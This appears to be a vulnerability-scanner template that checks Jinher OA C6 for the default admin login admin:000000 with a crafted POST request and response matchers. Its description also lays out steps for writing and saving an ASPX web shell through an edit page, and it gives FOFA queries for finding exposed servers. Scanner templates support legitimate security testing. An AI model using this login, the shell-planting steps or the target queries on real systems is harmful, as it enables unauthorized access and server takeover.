jinher-oa-default-login: Jinher oa C6 Default Password

id: jinher-oa-default-login

info:
  name: Jinher oa C6 Default Password
  author: ritikchaddha
  severity: high
  description: |
    Jinher-OA C6 default administrator account credential.
    使用弱密码登录，admin:000000。访问写入大马路径，写入aspx大马->点击保存，写入大马：
    /C6/JHSoft.Web.Portal/EditMain.aspx?id=1.aspx
    FOFA: app="金和网络-金和OA" 
    FOFA: body="src=\"/c6/WebResource.axd"
  reference:
    - https://github.com/nu0l/poc-wiki/blob/main/%E9%87%91%E5%92%8COA-C6-default-password.md
    - https://mp.weixin.qq.com/s/ZMJ1XdxThyKNvjvg4Ey90Q
  tags: jinher,default-login
  created: 2023/06/24

set:
  base64user: "base64('admin')"
  base64pass: "base64('000000')"
rules:
  r0:
    request:
      method: POST
      path: /c6/Jhsoft.Web.login/AjaxForLogin.aspx
      body: |
        type=login&loginCode={{base64user}}&pwd={{base64pass}}&
    expression: |
      response.status == 200 && 
      response.body.bcontains(b'\xcf\xb5\xcd\xb3\xb9\xdc\xc0\xed\xd4\xb1\x7c') && 
      response.body.bcontains(b'\xc4\xfa\xba\xc3\x7c\x7c\x7c') && 
      response.raw_header.bcontains(b'SessionIDAdmin=')
expression: r0()